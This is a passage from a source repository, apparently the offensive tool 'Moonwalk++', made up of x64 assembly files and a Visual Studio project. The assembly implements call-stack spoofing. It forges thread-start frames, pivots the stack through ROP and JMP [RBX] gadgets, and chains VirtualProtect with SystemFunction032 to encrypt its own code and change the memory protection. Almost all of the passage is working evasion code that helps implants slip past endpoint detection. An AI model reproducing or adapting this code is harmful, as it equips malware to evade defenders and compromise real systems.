151 | mov rax, [rcx+080h] 152 | add qword ptr [rsp], rax 153 | ; ------------------------------------------------------------------------------------ 154 | ; ROP Frames 155 | ; ------------------------------------------------------------------------------------ 156 | ; 1. JMP [RBX] Gadget (To restore original Control Flow Stack) 157 | ; ------------------------------------------------------------------------------------ 158 | mov rax, [rcx+090h] 159 | sub rsp, [rcx+088h] 160 | push [rcx+0b0h] 161 | sub rsp, rax 162 | mov r10, [rcx+050h] 163 | ; Placing return address -> JMP [RBX] 164 | ; The return offset (as the gadget size) is a function of the number of arguments 165 | ; This is to ensure we have enough space in the frame to store all the args we need 166 | mov [rsp+rax], r10 167 | ; ------------------------------------------------------------------------------------ 168 | ; 2. Stack PIVOT (To conceal our RIP and return to the JOP gadget) 169 | ; ------------------------------------------------------------------------------------ 170 | push [rcx+058h] 171 | mov rax, [rcx+090h] 172 | mov [rbp+28h], rax 173 | ; ------------------------------------------------------------------------------------ 174 | ; Set the pointer to the function to call in RAX 175 | ; ------------------------------------------------------------------------------------ 176 | mov rax, [rcx+0b8h] 177 | jmp parameter_handler 178 | spoof_call endp 179 | 180 | parameter_handler proc 181 | mov r9, rax 182 | mov r8, [rcx+0c8h] 183 | _internal_handler: 184 | cmp r8, 4 185 | jle _handle_four_or_less 186 | mov rax, 8 187 | mul r8 188 | ; RCX is the SPOOFER config, RCX+0A8h is the first parameter 189 | mov r15, qword ptr [rcx+0D0h+rax-8] 190 | mov [rsp+rax], r15 191 | dec r8 192 | jmp _internal_handler 193 | _handle_four_or_less: 194 | xchg r9, rax 195 | mov r9, [rcx+0e8h] 196 | mov r8, [rcx+0e0h] 197 | mov rdx, [rcx+0d8h] 198 | mov rcx, [rcx+0d0h] 199 | jmp execute 200 | parameter_handler endp 201 | execute proc 202 | 203 | ; Spoofed function 204 | push rax ; <-- spoofed function 205 | push r11 206 | push r10 207 | push r9 208 | push r8 209 | push rcx 210 | push [r11+028h] 211 | push rdx 212 | push [r11+020h] 213 | sub rsp, 028h 214 | push [r11+030h] 215 | sub rsp, 028h 216 | push [r11+030h] 217 | ; Virtual Protect 218 | push [r11+010h] 219 | push 1 ; r11 220 | push 1 ; r10 221 | push [r11+018h] ; r9 222 | push 01h ; r8 223 | push [r11+00h] ; rcx 224 | push [r11+028h] 225 | push [r11+060h] ; rdx 226 | push [r11+020h] 227 | sub rsp, 028h 228 | push [r11+030h] 229 | ; SystemFunction032 230 | push [r11+08h] 231 | push 1 ; r11 232 | push 1 ; r10 233 | push 1 ; r9 234 | push 1 ; r8 235 | push [r11+0a0h] 236 | push [r11+028h] 237 | push [r11+098h] 238 | push [r11+020h] 239 | 240 | sub rsp, 028h 241 | push [r11+030h] 242 | 243 | ; Virtual Protect 244 | push [r11+010h] 245 | push 1 ; r11 246 | push 1 ; r10 247 | push [r11+018h] ; r9 248 | push 040h ; r8 249 | push [r11+00h] ; rcx 250 | push [r11+028h] 251 | 252 | push [r11+060h] ; rdx 253 | push [r11+020h] 254 | ; int 3 255 | ret 256 | 257 | execute endp 258 | 259 | 260 | end -------------------------------------------------------------------------------- /Moonwalk--/moonreflect.asm: -------------------------------------------------------------------------------- 1 | ; ------------------------------------------------------------------------------------ 2 | ; 3 | ; Author : klezVirus 2022 4 | ; Twitter : https://twitter.com/klezVirus 5 | ; Original Idea: Namazso 6 | ; Twitter : https://twitter.com/namazso 7 | ; ------------------------------------------------------------------------------------ 8 | ; ------------------------------------------------------------------------------------ 9 | 10 | spoof_call proto 11 | restore proto 12 | 13 | .code 14 | 15 | spoof_call proc 16 | ; ------------------------------------------------------------------------------------ 17 | ; Saving non-vol registers 18 | ; ------------------------------------------------------------------------------------ 19 | ; int 3 20 | 21 | mov [rsp+08h], rbp 22 | mov [rsp+10h], rbx 23 | mov rcx, r9 24 | mov r11, rcx 25 | call StackSearch ; Let's pray we find it 26 | 27 | ; ------------------------------------------------------------------------------------ 28 | ; Creating a stack reference to the JMP RBX gadget 29 | ; ------------------------------------------------------------------------------------ 30 | mov rbx, [rcx+050h] 31 | mov [rsp+18h], rbx 32 | mov rbx, rsp 33 | add rbx, 18h 34 | mov [rcx+0b0h], rbx 35 | ; ------------------------------------------------------------------------------------ 36 | ; Prolog 37 | ; RBP -> Keeps track of original Stack 38 | ; RSP -> Desync Stack for Unwinding Info 39 | ; ------------------------------------------------------------------------------------ 40 | ; Note: Everything between RSP and RBP is our new stack frame for unwinding 41 | ; ------------------------------------------------------------------------------------ 42 | mov rbp, rsp 43 | ; ------------------------------------------------------------------------------------ 44 | ; Creating Restore Rop Chain 45 | ; ------------------------------------------------------------------------------------ 46 | 47 | ; int 3 48 | push rbp 49 | push r12 50 | push r13 51 | push r14 52 | push r15 53 | push [r11+038h] 54 | 55 | mov rbp, rsp 56 | add rbp, 8 57 | push rbp 58 | sub rbp, 8 59 | push r10 60 | push r9 61 | push r8 62 | push rcx 63 | push [r11+028h] 64 | 65 | push rdx 66 | push [r11+020h] 67 | sub rsp, 028h 68 | push [r11+030h] 69 | sub rsp, 028h 70 | push [r11+030h] 71 | 72 | ; Virtual Protect 73 | push [r11+010h] 74 | push 1 ; r11 75 | push 1 ; r10 76 | push [r11+018h] ; r9 77 | push 020h ; r8 78 | push [r11+00h] ; rcx 79 | push [r11+028h] 80 | push [r11+060h] ; rdx 81 | push [r11+020h] 82 | sub rsp, 028h 83 | push [r11+030h] 84 | ; SystemFunction032 85 | push [r11+08h] 86 | push 1 ; r11 87 | push 1 ; r10 88 | push 1 ; r9 89 | push 1 ; r8 90 | push [r11+0a0h] 91 | push [r11+028h] 92 | push [r11+098h] 93 | push [r11+020h] 94 | 95 | sub rsp, 028h 96 | push [r11+030h] 97 | ; Virtual Protect 98 | push [r11+010h] 99 | push 1 ; r11 100 | push 1 ; r10 101 | push [r11+018h] ; r9 102 | push 040h ; r8 103 | push [r11+00h] ; rcx 104 | push [r11+028h] 105 | push [r11+060h] ; rdx 106 | push [r11+020h] 107 | 108 | ; Now RBX contains the stack pointer to Restore ROP CHAIN on the stack 109 | ; -> Will be called by the push RBX; ret gadget 110 | 111 | mov rbx, [rcx+198h] 112 | sub rbx, [rcx+1A0h] 113 | 114 | _check_space: 115 | test rbx, rbx 116 | jnz _allocate_ret 117 | jmp _allocated_ret 118 | 119 | _allocate_ret: 120 | push [rcx+1A8h] 121 | sub rbx, 8 122 | jmp _check_space 123 | 124 | _allocated_ret: 125 | push [rcx+190h] 126 | mov rbx, [rsp] 127 | 128 | ; ------------------------------------------------------------------------------------ 129 | ; Starting Frames Tampering 130 | ; ------------------------------------------------------------------------------------ 131 | ; First Frame (SET_FPREG frame) 132 | ; ------------------------------------------------------------------------------------ 133 | push [rcx+040h] 134 | mov rax, [rcx+070h] 135 | add qword ptr [rsp], rax 136 | 137 | mov rax, [rcx+0c0h] 138 | sub rax, [rcx+068h] 139 | 140 | sub rsp, [rcx+078h] 141 | mov r10, [rcx+0a8h] 142 | mov [rsp+r10], rax 143 | ; ------------------------------------------------------------------------------------ 144 | ; Second Frame (PUSH_NONVOL RBP) 145 | ; ------------------------------------------------------------------------------------ 146 | push [rcx+048h] 147 | mov rax, [rcx+080h] 148 | add qword ptr [rsp], rax 149 | ; ------------------------------------------------------------------------------------ 150 | ; ROP Frames 151 | ; ------------------------------------------------------------------------------------ 152 | ; 1. JMP [RBX] Gadget (To restore original Control Flow Stack) 153 | ; ------------------------------------------------------------------------------------ 154 | mov rax, [rcx+090h] 155 | sub rsp, [rcx+088h] 156 | push [rcx+0b0h] 157 | sub rsp, rax 158 | mov r10, [rcx+050h] 159 | ; Placing return address -> JMP [RBX] 160 | ; The return offset (as the gadget size) is a function of the number of arguments 161 | ; This is to ensure we have enough space in the frame to store all the args we need 162 | mov [rsp+rax], r10 163 | ; ------------------------------------------------------------------------------------ 164 | ; 2. Stack PIVOT (To conceal our RIP and return to the JOP gadget) 165 | ; ------------------------------------------------------------------------------------ 166 | push [rcx+058h] 167 | mov rax, [rcx+090h] 168 | mov [rbp+28h], rax 169 | ; ------------------------------------------------------------------------------------ 170 | ; Set the pointer to the function to call in RAX 171 | ; ------------------------------------------------------------------------------------ 172 | mov rax, [rcx+0b8h] 173 | jmp parameter_handler 174 | spoof_call endp 175 | 176 | parameter_handler proc 177 | mov r9, rax 178 | mov r8, [rcx+0c8h] 179 | _internal_handler: 180 | cmp r8, 4 181 | jle _handle_four_or_less 182 | mov rax, 8 183 | mul r8 184 | ; RCX is the SPOOFER config, RCX+0A8h is the first parameter 185 | mov r15, qword ptr [rcx+0D0h+rax-8] 186 | mov [rsp+rax], r15 187 | dec r8 188 | jmp _internal_handler 189 | _handle_four_or_less: 190 | xchg r9, rax 191 | mov r9, [rcx+0e8h] 192 | mov r8, [rcx+0e0h] 193 | mov rdx, [rcx+0d8h] 194 | mov rcx, [rcx+0d0h] 195 | jmp execute 196 | parameter_handler endp 197 | execute proc 198 | 199 | ; Spoofed function 200 | push rax ; <-- spoofed function 201 | push r11 202 | push r10 203 | push r9 204 | push r8 205 | push rcx 206 | push [r11+028h] 207 | push rdx 208 | push [r11+020h] 209 | sub rsp, 028h 210 | push [r11+030h] 211 | sub rsp, 028h 212 | push [r11+030h] 213 | ; Virtual Protect 214 | push [r11+010h] 215 | push 1 ; r11 216 | push 1 ; r10 217 | push [r11+018h] ; r9 218 | push 04h ; r8 219 | push [r11+00h] ; rcx 220 | push [r11+028h] 221 | push [r11+060h] ; rdx 222 | push [r11+020h] 223 | sub rsp, 028h 224 | push [r11+030h] 225 | ; SystemFunction032 226 | push [r11+08h] 227 | push 1 ; r11 228 | push 1 ; r10 229 | push 1 ; r9 230 | push 1 ; r8 231 | push [r11+0a0h] 232 | push [r11+028h] 233 | push [r11+098h] 234 | push [r11+020h] 235 | 236 | sub rsp, 028h 237 | push [r11+030h] 238 | 239 | ; Virtual Protect 240 | push [r11+010h] 241 | push 1 ; r11 242 | push 1 ; r10 243 | push [r11+018h] ; r9 244 | push 040h ; r8 245 | push [r11+00h] ; rcx 246 | push [r11+028h] 247 | 248 | push [r11+060h] ; rdx 249 | push [r11+020h] 250 | ; int 3 251 | ret 252 | 253 | execute endp 254 | 255 | ; RCX - Struct with QWORD value to search for at 0C0h 256 | ; Returns: 257 | ; RAX = offset in bytes from RSP to found address, or 0 if not found 258 | 259 | StackSearch PROC 260 | mov r8, rcx 261 | mov rcx, [rcx+0C0h] ; Value to search 262 | mov r11, rsp ; Save current RSP 263 | mov r10, gs:[08h] ; Get StackBase from TEB 264 | 265 | mov rdx, r11 ; RDX = search pointer (start from RSP) 266 | 267 | search_loop: 268 | cmp rdx, r10 ; Have we reached StackBase? 269 | jae not_found ; If yes, stop 270 | 271 | cmp qword ptr [rdx], rcx ; Compare memory at [RDX] with search value 272 | je found 273 | 274 | add rdx, 8 ; Move to next QWORD 275 | jmp search_loop 276 | 277 | found: 278 | mov rax, rdx 279 | sub rax, r11 ; RAX = found address - RSP 280 | mov rcx, r8 281 | mov [rcx+0C0h], rax 282 | ret 283 | 284 | not_found: 285 | xor rax, rax 286 | mov rcx, r8 287 | ret 288 | 289 | StackSearch ENDP 290 | 291 | end -------------------------------------------------------------------------------- /Moonwalk--/Moonwalk++.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {0FBBEE0C-C510-4D3A-B8C3-2EE626E45B5E} 25 | TheRealStackSpoof 26 | 10.0 27 | Moonwalk++ 28 | 29 | 30 | 31 | Application 32 | true 33 | v143 34 | Unicode 35 | 36 | 37 | Application 38 | false 39 | v143 40 | true 41 | Unicode 42 | 43 | 44 | Application 45 | true 46 | v143 47 | Unicode 48 | 49 | 50 | Application 51 | false 52 | v143 53 | false 54 | Unicode 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | true 77 | 78 | 79 | false 80 | 81 | 82 | true 83 | 84 | 85 | false 86 | 87 | 88 | 89 | Level3 90 | true 91 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | true 93 | 94 | 95 | Console 96 | true 97 | 98 | 99 | 100 | 101 | Level3 102 | true 103 | true 104 | true 105 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 106 | true 107 | 108 | 109 | Console 110 | true 111 | true 112 | true 113 | 114 | 115 | 116 | 117 | Level3 118 | true 119 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 120 | true 121 | 122 | 123 | Console 124 | true 125 | 126 | 127 | 128 | 129 | Level3 130 | true 131 | true 132 | false 133 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 134 | true 135 | Disabled 136 | false 137 | Neither 138 | false 139 | AssemblyCode 140 | C:\Users\Public\ 141 | MultiThreaded 142 | false 143 | false 144 | None 145 | 146 | 147 | Console 148 | true 149 | true 150 | false 151 | $(CoreLibraryDependencies);%(AdditionalDependencies);vcruntime.lib; 152 | Default 153 | false 154 | false 155 | 156 | 157 | 158 | 159 | 160 | 161 | Document 162 | 163 | 164 | true 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | -------------------------------------------------------------------------------- /Moonwalk--/include/asm/SyntheticSpoofer.asm: -------------------------------------------------------------------------------- 1 | ; ------------------------------------------------------------------------------------ 2 | ; 3 | ; Author : klezVirus 2022 4 | ; Twitter : https://twitter.com/klezVirus 5 | ; Original Idea: Namazso 6 | ; Twitter : https://twitter.com/namazso 7 | ; ------------------------------------------------------------------------------------ 8 | ; ------------------------------------------------------------------------------------ 9 | 10 | spoof_call_synthetic proto 11 | restore_synthetic proto 12 | 13 | .data 14 | 15 | ; ------------------------------------------------------------------------------------ 16 | ; Spoofing Configuration Structure 17 | ; Utility structure to pass all the relevant details from C to ASM regarding the 18 | ; stack frames to spoof 19 | ; ------------------------------------------------------------------------------------ 20 | SPOOFER STRUCT 21 | 22 | KernelBaseAddress DQ 1 23 | 24 | RtlUserThreadStartAddress DQ 1 25 | BaseThreadInitThunkAddress DQ 1 26 | 27 | FirstFrameFunctionPointer DQ 1 28 | SecondFrameFunctionPointer DQ 1 29 | JmpRbxGadget DQ 1 30 | AddRspXGadget DQ 1 31 | 32 | FirstFrameSize DQ 1 33 | FirstFrameRandomOffset DQ 1 34 | SecondFrameSize DQ 1 35 | SecondFrameRandomOffset DQ 1 36 | JmpRbxGadgetFrameSize DQ 1 37 | AddRspXGadgetFrameSize DQ 1 38 | 39 | RtlUserThreadStartFrameSize DQ 1 40 | BaseThreadInitThunkFrameSize DQ 1 41 | 42 | StackOffsetWhereRbpIsPushed DQ 1 43 | 44 | JmpRbxGadgetRef DQ 1 45 | SpoofFunctionPointer DQ 1 46 | ReturnAddress DQ 1 47 | 48 | Nargs DQ 1 49 | ; RCX +A0h 50 | Arg01 DQ 1 51 | Arg02 DQ 1 52 | Arg03 DQ 1 53 | Arg04 DQ 1 54 | ; RCX +C0h 55 | Args DQ 20 56 | 57 | SPOOFER ENDS 58 | 59 | .code 60 | 61 | spoof_call_synthetic proc 62 | ; ------------------------------------------------------------------------------------ 63 | ; Saving non-vol registers 64 | ; ------------------------------------------------------------------------------------ 65 | mov [rsp+08h], rbp 66 | mov [rsp+10h], rbx 67 | mov [rsp+18h], r15 68 | ; ------------------------------------------------------------------------------------ 69 | ; Creating a stack reference to the JMP RBX gadget 70 | ; ------------------------------------------------------------------------------------ 71 | mov rbx, [rcx].SPOOFER.JmpRbxGadget 72 | mov [rsp+20h], rbx 73 | mov rbx, rsp 74 | add rbx, 20h 75 | mov [rcx].SPOOFER.JmpRbxGadgetRef, rbx 76 | ; ------------------------------------------------------------------------------------ 77 | ; Prolog 78 | ; RBP -> Keeps track of original Stack 79 | ; RSP -> Desync Stack for Unwinding Info 80 | ; ------------------------------------------------------------------------------------ 81 | ; Note: Everything between RSP and RBP is our new stack frame for unwinding 82 | ; ------------------------------------------------------------------------------------ 83 | sub rsp, 200h 84 | mov rbp, rsp 85 | 86 | ; ------------------------------------------------------------------------------------ 87 | ; Creating stack pointer to Restore PROC 88 | ; ------------------------------------------------------------------------------------ 89 | lea rax, restore_synthetic 90 | push rax 91 | 92 | 93 | ; Now RBX contains the stack pointer to Restore PROC 94 | ; -> Will be called by the JMP [RBX] gadget 95 | lea rbx, [rsp] 96 | 97 | ; ------------------------------------------------------------------------------------ 98 | ; Starting Frames Tampering 99 | ; ------------------------------------------------------------------------------------ 100 | ; First Frame (Frame preparation) 101 | ; The first frame contains the details 102 | ; ------------------------------------------------------------------------------------ 103 | push [rcx].SPOOFER.FirstFrameFunctionPointer 104 | add qword ptr [rsp], 20h 105 | 106 | mov rax, [rcx].SPOOFER.ReturnAddress 107 | sub rax, [rcx].SPOOFER.FirstFrameSize 108 | sub rsp, [rcx].SPOOFER.SecondFrameSize 109 | mov r10, [rcx].SPOOFER.StackOffsetWhereRbpIsPushed 110 | mov [rsp+r10], rax 111 | 112 | ; ------------------------------------------------------------------------------------ 113 | ; Cutting the call stack. The 0 pushed in this position will be the return address 114 | ; of the next frame "RtlUserThreadStart", making it effectively the originating function 115 | ; ------------------------------------------------------------------------------------ 116 | xor rax, rax 117 | push rax 118 | 119 | ; ------------------------------------------------------------------------------------ 120 | ; Here we proceed by adding the two top fake frames: 121 | ; - RtlUserThreadStart 122 | ; - BaseThreadInitThunk 123 | ; ------------------------------------------------------------------------------------ 124 | mov rax, [rcx].SPOOFER.FirstFrameFunctionPointer 125 | sub rax, [rcx].SPOOFER.FirstFrameSize 126 | sub rsp, [rcx].SPOOFER.RtlUserThreadStartFrameSize 127 | mov [rsp+30h], rax 128 | 129 | ; ------------------------------------------------------------------------------------ 130 | ; RtlUserThreadStart 131 | ; ------------------------------------------------------------------------------------ 132 | 133 | push [rcx].SPOOFER.RtlUserThreadStartAddress 134 | add qword ptr [rsp], 21h 135 | 136 | sub rsp, [rcx].SPOOFER.BaseThreadInitThunkFrameSize 137 | 138 | ; ------------------------------------------------------------------------------------ 139 | ; BaseThreadInitThunk 140 | ; ------------------------------------------------------------------------------------ 141 | 142 | push [rcx].SPOOFER.BaseThreadInitThunkAddress 143 | add qword ptr [rsp], 14h 144 | 145 | mov rax, [rcx].SPOOFER.RtlUserThreadStartAddress 146 | sub rax, [rcx].SPOOFER.RtlUserThreadStartFrameSize 147 | sub rsp, [rcx].SPOOFER.JmpRbxGadgetFrameSize 148 | mov [rsp+30h], rax 149 | 150 | ; ------------------------------------------------------------------------------------ 151 | ; ROP Frames 152 | ; These two frames contain the ROP gadgets that will be used to restore the original 153 | ; Control Flow stack 154 | ; ------------------------------------------------------------------------------------ 155 | ; ------------------------------------------------------------------------------------ 156 | ; 1. JMP [RBX] Gadget 157 | ; ------------------------------------------------------------------------------------ 158 | push [rcx].SPOOFER.JmpRbxGadget 159 | 160 | mov rax, [rcx].SPOOFER.BaseThreadInitThunkAddress 161 | sub rax, [rcx].SPOOFER.SecondFrameSize 162 | sub rsp, [rcx].SPOOFER.AddRspXGadgetFrameSize 163 | mov [rsp+30h], rax 164 | 165 | mov r10, [rcx].SPOOFER.JmpRbxGadget 166 | mov [rsp+38h], r10 167 | 168 | ; ------------------------------------------------------------------------------------ 169 | ; 2. Stack PIVOT (To restore original Control Flow Stack) 170 | ; ------------------------------------------------------------------------------------ 171 | push [rcx].SPOOFER.AddRspXGadget 172 | 173 | 174 | mov rax, [rcx].SPOOFER.AddRspXGadgetFrameSize 175 | mov [rbp+28h], rax 176 | 177 | ; ------------------------------------------------------------------------------------ 178 | ; Finalise 179 | ; Placing the pointer to the function to call 180 | ; ------------------------------------------------------------------------------------ 181 | 182 | mov rax, [rbp+28h] 183 | mov [rsp+28h], rax 184 | mov rax, [rbp+30h] 185 | mov [rsp+30h], rax 186 | mov rax, [rcx].SPOOFER.SpoofFunctionPointer 187 | 188 | jmp parameter_handler_synthetic 189 | jmp execute_synthetic 190 | spoof_call_synthetic endp 191 | 192 | restore_synthetic proc 193 | mov rsp, rbp 194 | add rsp, 200h 195 | mov rbp, [rsp+08h] 196 | mov rbx, [rsp+10h] 197 | mov r15, [rsp+18h] 198 | ret 199 | restore_synthetic endp 200 | 201 | parameter_handler_synthetic proc 202 | mov r9, rax 203 | mov r8, [rcx].SPOOFER.Nargs 204 | _internal_handler: 205 | cmp r8, 4 206 | jle _handle_four_or_less 207 | mov rax, 8 208 | mul r8 209 | ; RCX is the SPOOFER config, RCX+0A0h is the first parameter 210 | mov r15, qword ptr [rcx+0A0h+rax-8] 211 | mov [rsp+rax], r15 212 | dec r8 213 | jmp _internal_handler 214 | _handle_four_or_less: 215 | xchg r9, rax 216 | mov r9, [rcx].SPOOFER.Arg04 217 | mov r8, [rcx].SPOOFER.Arg03 218 | mov rdx, [rcx].SPOOFER.Arg02 219 | mov rcx, [rcx].SPOOFER.Arg01 220 | jmp execute_synthetic 221 | parameter_handler_synthetic endp 222 | 223 | execute_synthetic proc 224 | jmp qword ptr rax 225 | execute_synthetic endp 226 | 227 | 228 | end -------------------------------------------------------------------------------- /Moonwalk--/include/asm/DesyncSpoofer.asm: -------------------------------------------------------------------------------- 1 | ; ------------------------------------------------------------------------------------ 2 | ; 3 | ; Author : klezVirus 2022 4 | ; Twitter : https://twitter.com/klezVirus 5 | ; Original Idea: Namazso 6 | ; Twitter : https://twitter.com/namazso 7 | ; ------------------------------------------------------------------------------------ 8 | ; ------------------------------------------------------------------------------------ 9 | 10 | spoof_call proto 11 | restore proto 12 | 13 | .data 14 | 15 | ; ------------------------------------------------------------------------------------ 16 | ; Spoofing Configuration Structure 17 | ; Utility structure to pass all the relevant details from C to ASM regarding the 18 | ; stack frames to spoof 19 | ; ------------------------------------------------------------------------------------ 20 | SPOOFER STRUCT 21 | ; RCX +00h 22 | CodeBaseAddress DQ 1 23 | SystemFunction032Address DQ 1 24 | VirtualProtectAddress DQ 1 25 | OldProtection DQ 1 26 | 27 | PopRdxGadget DQ 1 28 | PopRegsGadget DQ 1 29 | AddRsp28Gadget DQ 1 30 | MovRspR11Gadget DQ 1 31 | 32 | ; RCX +40h 33 | FirstFrameFunctionPointer DQ 1 34 | SecondFrameFunctionPointer DQ 1 35 | JmpRbxGadget DQ 1 36 | AddRspXGadget DQ 1 37 | 38 | ; RCX +60h 39 | CodeBaseSize DQ 1 40 | FirstFrameSize DQ 1 41 | FirstFrameRandomOffset DQ 1 42 | SecondFrameSize DQ 1 43 | SecondFrameRandomOffset DQ 1 44 | JmpRbxGadgetFrameSize DQ 1 45 | AddRspXGadgetFrameSize DQ 1 46 | 47 | KeyStructPointer DQ 1 48 | DataStructPointer DQ 1 49 | 50 | ; RCX +A8h 51 | StackOffsetWhereRbpIsPushed DQ 1 52 | JmpRbxGadgetRef DQ 1 53 | SpoofFunctionPointer DQ 1 54 | ReturnAddress DQ 1 55 | 56 | ; RCX +C8h 57 | Nargs DQ 1 58 | 59 | ; RCX +D0h 60 | Arg01 DQ 1 61 | Arg02 DQ 1 62 | ; RCX +F0h 63 | Arg03 DQ 1 64 | Arg04 DQ 1 65 | ; RCX +100h 66 | Args DQ 20 67 | 68 | SPOOFER ENDS 69 | 70 | .code 71 | 72 | get_current_rsp proc 73 | mov rax, rsp 74 | add rax, 8 75 | ret 76 | get_current_rsp endp 77 | 78 | spoof_call proc 79 | ; ------------------------------------------------------------------------------------ 80 | ; Saving non-vol registers 81 | ; ------------------------------------------------------------------------------------ 82 | mov [rsp+08h], rbp 83 | mov [rsp+10h], rbx 84 | mov r11, rcx 85 | ; ------------------------------------------------------------------------------------ 86 | ; Creating a stack reference to the JMP RBX gadget 87 | ; ------------------------------------------------------------------------------------ 88 | mov rbx, [rcx].SPOOFER.JmpRbxGadget 89 | mov [rsp+18h], rbx 90 | mov rbx, rsp 91 | add rbx, 18h 92 | mov [rcx].SPOOFER.JmpRbxGadgetRef, rbx 93 | ; ------------------------------------------------------------------------------------ 94 | ; Prolog 95 | ; RBP -> Keeps track of original Stack 96 | ; RSP -> Desync Stack for Unwinding Info 97 | ; ------------------------------------------------------------------------------------ 98 | ; Note: Everything between RSP and RBP is our new stack frame for unwinding 99 | ; ------------------------------------------------------------------------------------ 100 | mov rbp, rsp 101 | 102 | ; ------------------------------------------------------------------------------------ 103 | ; Creating Restore Rop Chain 104 | ; ------------------------------------------------------------------------------------ 105 | 106 | push rbp 107 | push r12 108 | push r13 109 | push r14 110 | push r15 111 | push [r11].SPOOFER.MovRspR11Gadget 112 | 113 | push rbp 114 | push r10 115 | push r9 116 | push r8 117 | push rcx 118 | 119 | push [r11].SPOOFER.PopRegsGadget 120 | 121 | push rdx 122 | push [r11].SPOOFER.PopRdxGadget 123 | 124 | sub rsp, 028h 125 | push [r11].SPOOFER.AddRsp28Gadget 126 | 127 | sub rsp, 028h 128 | push [r11].SPOOFER.AddRsp28Gadget 129 | 130 | ; Virtual Protect 131 | push [r11].SPOOFER.VirtualProtectAddress 132 | 133 | push 1 ; r11 134 | push 1 ; r10 135 | push [r11].SPOOFER.OldProtection ; r9 136 | push 020h ; r8 137 | push [r11].SPOOFER.CodeBaseAddress ; rcx 138 | 139 | push [r11].SPOOFER.PopRegsGadget 140 | 141 | push [r11].SPOOFER.CodeBaseSize ; rdx 142 | push [r11].SPOOFER.PopRdxGadget 143 | 144 | sub rsp, 028h 145 | push [r11].SPOOFER.AddRsp28Gadget 146 | 147 | ; SystemFunction032 148 | push [r11].SPOOFER.SystemFunction032Address 149 | 150 | push 1 ; r11 151 | push 1 ; r10 152 | push 1 ; r9 153 | push 1 ; r8 154 | push [r11].SPOOFER.DataStructPointer 155 | 156 | push [r11].SPOOFER.PopRegsGadget 157 | 158 | push [r11].SPOOFER.KeyStructPointer 159 | push [r11].SPOOFER.PopRdxGadget 160 | 161 | sub rsp, 028h 162 | push [r11].SPOOFER.AddRsp28Gadget 163 | 164 | 165 | ; Virtual Protect 166 | push [r11].SPOOFER.VirtualProtectAddress 167 | 168 | push 1 ; r11 169 | push 1 ; r10 170 | push [r11].SPOOFER.OldProtection ; r9 171 | push 040h ; r8 172 | push [r11].SPOOFER.CodeBaseAddress ; rcx 173 | 174 | push [r11].SPOOFER.PopRegsGadget 175 | 176 | push [r11].SPOOFER.CodeBaseSize ; rdx 177 | push [r11].SPOOFER.PopRdxGadget 178 | 179 | ; Now RBX contains the stack pointer to Restore ROP CHAIN on the stack 180 | ; -> Will be called by the push RBX; ret gadget 181 | mov rbx, rsp 182 | 183 | ; ------------------------------------------------------------------------------------ 184 | ; Starting Frames Tampering 185 | ; ------------------------------------------------------------------------------------ 186 | 187 | ; First Frame (SET_FPREG frame) 188 | ; ------------------------------------------------------------------------------------ 189 | push [rcx].SPOOFER.FirstFrameFunctionPointer 190 | mov rax, [rcx].SPOOFER.FirstFrameRandomOffset 191 | add qword ptr [rsp], rax 192 | 193 | mov rax, [rcx].SPOOFER.ReturnAddress 194 | sub rax, [rcx].SPOOFER.FirstFrameSize 195 | 196 | sub rsp, [rcx].SPOOFER.SecondFrameSize 197 | mov r10, [rcx].SPOOFER.StackOffsetWhereRbpIsPushed 198 | mov [rsp+r10], rax 199 | ; ------------------------------------------------------------------------------------ 200 | ; Second Frame (PUSH_NONVOL RBP) 201 | ; ------------------------------------------------------------------------------------ 202 | push [rcx].SPOOFER.SecondFrameFunctionPointer 203 | mov rax, [rcx].SPOOFER.SecondFrameRandomOffset 204 | add qword ptr [rsp], rax 205 | ; ------------------------------------------------------------------------------------ 206 | ; ROP Frames 207 | ; ------------------------------------------------------------------------------------ 208 | ; 1. JMP [RBX] Gadget (To restore original Control Flow Stack) 209 | ; ------------------------------------------------------------------------------------ 210 | mov rax, [rcx].SPOOFER.AddRspXGadgetFrameSize 211 | sub rsp, [rcx].SPOOFER.JmpRbxGadgetFrameSize 212 | push [rcx].SPOOFER.JmpRbxGadgetRef 213 | sub rsp, rax 214 | mov r10, [rcx].SPOOFER.JmpRbxGadget 215 | ; Placing return address -> JMP [RBX] 216 | ; The return offset (as the gadget size) is a function of the number of arguments 217 | ; This is to ensure we have enough space in the frame to store all the args we need 218 | mov [rsp+rax], r10 219 | ; ------------------------------------------------------------------------------------ 220 | ; 2. Stack PIVOT (To conceal our RIP and return to the JOP gadget) 221 | ; ------------------------------------------------------------------------------------ 222 | push [rcx].SPOOFER.AddRspXGadget 223 | mov rax, [rcx].SPOOFER.AddRspXGadgetFrameSize 224 | mov [rbp+28h], rax 225 | ; ------------------------------------------------------------------------------------ 226 | ; Set the pointer to the function to call in RAX 227 | ; ------------------------------------------------------------------------------------ 228 | mov rax, [rcx].SPOOFER.SpoofFunctionPointer 229 | jmp parameter_handler 230 | spoof_call endp 231 | 232 | restore proc 233 | mov rsp, rbp 234 | mov rbp, [rsp+08h] 235 | mov rbx, [rsp+10h] 236 | ret 237 | restore endp 238 | 239 | parameter_handler proc 240 | mov r9, rax 241 | mov r8, [rcx].SPOOFER.Nargs 242 | _internal_handler: 243 | cmp r8, 4 244 | jle _handle_four_or_less 245 | mov rax, 8 246 | mul r8 247 | ; RCX is the SPOOFER config, RCX+0A8h is the first parameter 248 | mov r15, qword ptr [rcx+0D0h+rax-8] 249 | mov [rsp+rax], r15 250 | dec r8 251 | jmp _internal_handler 252 | _handle_four_or_less: 253 | xchg r9, rax 254 | mov r9, [rcx].SPOOFER.Arg04 255 | mov r8, [rcx].SPOOFER.Arg03 256 | mov rdx, [rcx].SPOOFER.Arg02 257 | mov rcx, [rcx].SPOOFER.Arg01 258 | jmp execute 259 | parameter_handler endp 260 | 261 | execute proc 262 | 263 | ; Spoofed function 264 | push 